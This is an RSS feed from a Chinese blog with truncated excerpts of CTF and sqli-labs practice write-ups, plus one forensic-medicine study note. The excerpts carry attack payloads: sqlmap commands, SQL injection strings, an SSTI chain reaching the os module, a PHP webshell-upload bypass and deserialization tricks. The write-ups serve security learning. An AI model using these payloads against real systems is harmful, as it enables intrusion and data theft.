<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[DSR446的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/DSR446</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; DSR446]]></copyright><item><title><![CDATA[2020.4.10 xctf(ics-04)]]></title><link>https://blog.youkuaiyun.com/DSR446/article/details/105645540</link><guid>https://blog.youkuaiyun.com/DSR446/article/details/105645540</guid><author>DSR446</author><pubDate>Mon, 20 Apr 2020 21:53:00 +0800</pubDate><description><![CDATA[题目提示在登陆、注册页面有SQL注入漏洞
除了忘记密码的那块，其他地方都没找到注入点
用sqlmap在这里跑一下，看有没有注入
获取数据库名：
python sqlmap.py -u "http://159.138.137.79:49507/findpwd.php" --data "username=1" --dbs --batch

获取表名：
python sqlmap.py -u "http...]]></description><category></category></item><item><title><![CDATA[2020.4.9  xctf(Cat)①]]></title><link>https://blog.youkuaiyun.com/DSR446/article/details/105623125</link><guid>https://blog.youkuaiyun.com/DSR446/article/details/105623125</guid><author>DSR446</author><pubDate>Sun, 19 Apr 2020 21:49:59 +0800</pubDate><description><![CDATA[给url参数传入参数%80，Django报错，根据报错知道网站是Django开发

　结合PHP可以通过在参数中注入@来读取文件的漏洞，首先看看配置文件settings.py，看看有没有相关的有用的信息。
Payload:?url=@/opt/api/api/settings.py

得到数据库名为 database.sqlite3
再获取数据库内容
Payload:?url=@/opt/api/...]]></description><category></category></item><item><title><![CDATA[2020.4.8 xctf(fakebook)]]></title><link>https://blog.youkuaiyun.com/DSR446/article/details/105441525</link><guid>https://blog.youkuaiyun.com/DSR446/article/details/105441525</guid><author>DSR446</author><pubDate>Fri, 10 Apr 2020 20:50:46 +0800</pubDate><description><![CDATA[提示让我们注册一个账号，这里随便注册，注意一下blog的格式就行。
然后用我们注册好的账号进行登录。
登录后发现url 为  http://111.198.29.45:33988/view.php?no=1  ，第一时间想到是否存在sql注入，我们输入   ’
根据报错的显示，可以肯定存在sql注入的，然后我们用 order by 语句判断查询的字段数目，以便于后续进行  union 查询，
先 ...]]></description><category></category></item><item><title><![CDATA[2020.4.6 xctf(shrine)②]]></title><link>https://blog.youkuaiyun.com/DSR446/article/details/105353197</link><guid>https://blog.youkuaiyun.com/DSR446/article/details/105353197</guid><author>DSR446</author><pubDate>Mon, 06 Apr 2020 22:29:10 +0800</pubDate><description><![CDATA[首先打开网站，看到网站的源码：
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/&...]]></description><category></category></item><item><title><![CDATA[2020.4.6 xctf(web2)①]]></title><link>https://blog.youkuaiyun.com/DSR446/article/details/105351084</link><guid>https://blog.youkuaiyun.com/DSR446/article/details/105351084</guid><author>DSR446</author><pubDate>Mon, 06 Apr 2020 21:02:22 +0800</pubDate><description><![CDATA[感觉这就是一道php写的逆向题
主要是得认得几个函数，和读懂 整个代码的逻辑！！
1.strrev函数

2.substr函数


3.str_rot13函数
脚本如下：
&lt;?php
$a=" a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$a=str_rot13($a);
$a=strrev($a);
$a=b...]]></description><category></category></item><item><title><![CDATA[2020.4.5  xctf(mfw)②]]></title><link>https://blog.youkuaiyun.com/DSR446/article/details/105335861</link><guid>https://blog.youkuaiyun.com/DSR446/article/details/105335861</guid><author>DSR446</author><pubDate>Sun, 05 Apr 2020 23:34:46 +0800</pubDate><description><![CDATA[打开网页看见（猜测git源码泄露）：
在URL后面加上./git发现：
使用工具GitHack进行爬取

发现源码内存在flag.php 感觉没啥用

if (isset($_GET[‘page’])) {
$page = $_GET[‘page’];
} else {
$page = “home”;
}

$file = “templates/” . $page . “.php”;

// I ...]]></description><category></category></item><item><title><![CDATA[2020.4.5 xctf(lottery)①]]></title><link>https://blog.youkuaiyun.com/DSR446/article/details/105334780</link><guid>https://blog.youkuaiyun.com/DSR446/article/details/105334780</guid><author>DSR446</author><pubDate>Sun, 05 Apr 2020 22:12:00 +0800</pubDate><description><![CDATA[摇奖中彩票，规则及金额都标明了，7位数全对有大奖
flag在这，需要钱买

又因为true和任意一个数字都满足 == ，因此我们猜想能不能通过改包，将准备购买的数字全换成true，直接中大奖，进行刷钱。我们先在本地验证一下！！！

由于我们的请求体值的数据是采用json格式的，而且json可以支持boolean，因此我们构造   [true,true,true,true,true,true,tru...]]></description><category></category></item><item><title><![CDATA[2020.4.4  sqli-labs--第十五、十六关 ②]]></title><link>https://blog.youkuaiyun.com/DSR446/article/details/105312509</link><guid>https://blog.youkuaiyun.com/DSR446/article/details/105312509</guid><author>DSR446</author><pubDate>Sat, 04 Apr 2020 21:52:52 +0800</pubDate><description><![CDATA[less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)
方法一
盲注 - 基于布尔值 - 字符串
怎么输入都没有回显，那就时间延迟吧。
布尔测试payload
uname=admin' and 1=1 --+&amp;passwd=admin&amp;submit=Submit    //登...]]></description><category></category></item><item><title><![CDATA[2020.4.4 sqli-labs--第十三、十四关③]]></title><link>https://blog.youkuaiyun.com/DSR446/article/details/105313687</link><guid>https://blog.youkuaiyun.com/DSR446/article/details/105313687</guid><author>DSR446</author><pubDate>Sat, 04 Apr 2020 17:43:36 +0800</pubDate><description><![CDATA[Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
方法一
通过报错可知  是通过’) 闭合的
发现没有登入成功返回信息 ，看来是要盲注了
万能密码: 账号admin’)#  密码：随便
方法二：
既然它返回错误信息了，说明有回显，可以报错注入。
数据库名
uname=admin') and e...]]></description><category></category></item><item><title><![CDATA[2020.4.3 sqli-labs--第八、九、十关②]]></title><link>https://blog.youkuaiyun.com/DSR446/article/details/105303639</link><guid>https://blog.youkuaiyun.com/DSR446/article/details/105303639</guid><author>DSR446</author><pubDate>Sat, 04 Apr 2020 16:11:51 +0800</pubDate><description><![CDATA[方法一：看是否有file权限，利用into outfile
1.?id=2’ --+ 页面回显正常，不赘述了，这里是单引号字符型注入
2.页面没有显示位，没有数据库报错信息。
我们先尝试一下是否有file权限（先判断字段数）
3.当输入3时返回正常，输入4时不返回。
http://127.0.0.1/sqli-labs/Less-8/?id=1'  union select 1,"&lt;?php...]]></description><category></category></item><item><title><![CDATA[2020.4.3 sqli-labs--第十一、十二关①]]></title><link>https://blog.youkuaiyun.com/DSR446/article/details/105301290</link><guid>https://blog.youkuaiyun.com/DSR446/article/details/105301290</guid><author>DSR446</author><pubDate>Fri, 03 Apr 2020 21:37:54 +0800</pubDate><description><![CDATA[对于post传参的我们最好用bp
输入admin admin 登陆，抓包，发送到repeater模块
在repeater中通过修改post的参数进行注入。
方法一 extractvalue测试payload
uname=admin' and 1=1 --+ &amp;passwd=admin&amp;submit=Submit //能登陆
uname=admin' and 1=2 --+ &amp...]]></description><category></category></item><item><title><![CDATA[2020.4.2 sqli-labs--第五，六关]]></title><link>https://blog.youkuaiyun.com/DSR446/article/details/105282715</link><guid>https://blog.youkuaiyun.com/DSR446/article/details/105282715</guid><author>DSR446</author><pubDate>Fri, 03 Apr 2020 00:03:23 +0800</pubDate><description><![CDATA[第五关
.盲注是注入攻击的其中一种，向数据库发送true或false这样的问题，并搞根据应用程序返回的信息判断结果，这种攻击的出现是因为应用程序配置为只显示常规错误，但并没有解决SQL注入存在的代码问题。
1.经错测试发现，当输入?id=3时页面显示正常，具体如下

当输入?id=486页面显示如下

说明页面没有显示位。无法使用联合查询注入
2.接着我们尝试在URL中输入  ?id=2’ 页面出...]]></description><category></category></item><item><title><![CDATA[2020.4.2 sqli-labs--第7关①]]></title><link>https://blog.youkuaiyun.com/DSR446/article/details/105281934</link><guid>https://blog.youkuaiyun.com/DSR446/article/details/105281934</guid><author>DSR446</author><pubDate>Thu, 02 Apr 2020 23:30:37 +0800</pubDate><description><![CDATA[1.这里科普一下file权限和into outfile这个函数。
数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限。
into outfile命令：select into outfile命令作用将查询结果输出保存到一个文件中
使用的环境：
我们必须知道，服务器上一个可以写入文件的文件夹的完整路径
2.我们正常输入?id=1页面回显如下
3.当我们输入 and 1=2...]]></description><category></category></item><item><title><![CDATA[2020.4.1  sqli-labs--第一至第四关]]></title><link>https://blog.youkuaiyun.com/DSR446/article/details/105252259</link><guid>https://blog.youkuaiyun.com/DSR446/article/details/105252259</guid><author>DSR446</author><pubDate>Wed, 01 Apr 2020 19:18:25 +0800</pubDate><description><![CDATA[1.验证方式：’   或  and 1=1   and 1= 2   如果页面不显示内容或者报mysql错误，就说明存在注入。（get和post传参都可用）
2.mysql5.0以上的版本中，为了方便管理，默认定义了information_schema数据库，用来存储数据库元信息，其中具有表schemata(数据库名)、tables（表名）、columns（列名或字段名）
schemata表中，s...]]></description><category></category></item><item><title><![CDATA[法医学  第四章（早期&晚期尸体现象）]]></title><link>https://blog.youkuaiyun.com/DSR446/article/details/105233803</link><guid>https://blog.youkuaiyun.com/DSR446/article/details/105233803</guid><author>DSR446</author><pubDate>Wed, 01 Apr 2020 15:10:56 +0800</pubDate><description><![CDATA[***1.***死后变化
①早期尸体变化：
②主要表现③超生反应：④肌肉松弛：
⑤尸冷
尸温以及死亡时间
⑥尸僵

⑴尸僵演变过程及死亡时间：⑵尸体痉挛


⑦尸斑：⑴尸斑的分布

⑵尸斑和生前挫伤
⑧皮革样化
⑴常见部位
⑵如何尽快使尸体上的损伤发生皮革样化

⑧角膜混浊

2. 晚期死后变化
①

晚期死后变化
⑴腐败的定义
②尸臭

③腐败气泡和烧伤烫伤气泡的区别
④尸绿（死后24小时）
⑤...]]></description><category></category></item><item><title><![CDATA[2020.3.31xctf(Web_php_unserialize)③]]></title><link>https://blog.youkuaiyun.com/DSR446/article/details/105232565</link><guid>https://blog.youkuaiyun.com/DSR446/article/details/105232565</guid><author>DSR446</author><pubDate>Tue, 31 Mar 2020 21:36:04 +0800</pubDate><description><![CDATA[&lt;?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this-&gt;file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($th...]]></description><category></category></item><item><title><![CDATA[2020.3.31 xctf(Web_python_template_injection)①]]></title><link>https://blog.youkuaiyun.com/DSR446/article/details/105230770</link><guid>https://blog.youkuaiyun.com/DSR446/article/details/105230770</guid><author>DSR446</author><pubDate>Tue, 31 Mar 2020 20:18:34 +0800</pubDate><description><![CDATA[根据题意可知python模块注入
测试payload：http://111.198.29.45:31069/{{3+4}}
执行了{{}}中的代码。
{{''.__class__.__mro__[2].__subclasses__()}}


{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].list...]]></description><category></category></item><item><title><![CDATA[2020.3.30 xctf(upload1)④]]></title><link>https://blog.youkuaiyun.com/DSR446/article/details/105209545</link><guid>https://blog.youkuaiyun.com/DSR446/article/details/105209545</guid><author>DSR446</author><pubDate>Mon, 30 Mar 2020 21:57:32 +0800</pubDate><description><![CDATA[但是当我们想要上传php文件的时候会出现弹窗，并且连“上传”按钮都被禁用了
这里是在 客户端进行 了限制也就是在js代码上进行了限制。我们只要上传符合他白名单的后缀名文件，然后bp抓包，将后缀改成  .php 即可。
以下有两种方法来获得flag。
①法一：上传一句话，菜刀连接。

②法二：通过在bp中修改，执行一些命令。
右键查看源码或者F12


...]]></description><category></category></item><item><title><![CDATA[2020.3.30 xctf(unserialize3)③]]></title><link>https://blog.youkuaiyun.com/DSR446/article/details/105206365</link><guid>https://blog.youkuaiyun.com/DSR446/article/details/105206365</guid><author>DSR446</author><pubDate>Mon, 30 Mar 2020 19:42:13 +0800</pubDate><description><![CDATA[我们访问目标网址，根据__wakeup魔术方法和题目名字，可以猜到这里是用到了php反序列化

class xctf{                      //定义一个名为xctf的类
public $flag = '111';            //定义一个公有的类属性$flag，值为111
public function __wakeup(){      //定义一个公有的类方法__...]]></description><category></category></item><item><title><![CDATA[2020.3.30 xctf(PHP2)②]]></title><link>https://blog.youkuaiyun.com/DSR446/article/details/105203438</link><guid>https://blog.youkuaiyun.com/DSR446/article/details/105203438</guid><author>DSR446</author><pubDate>Mon, 30 Mar 2020 17:22:25 +0800</pubDate><description><![CDATA[⑴我们发现有个index.php，我们访问一下，没有结果…
那么我们看看能否看看该网页php地源码，这里用到了.phps
.phps后缀释义： phps文件就是php的源代码文件。 通常用于提供给用户（访问者）查看php代码，因为用户无法直接通过Web浏览器看到php文件的内容，所以需要用phps文件代替
于是我们访问index.phps，看到下图所示：
ctrl+U看到完整php代码是：
&lt...]]></description><category></category></item></channel></rss>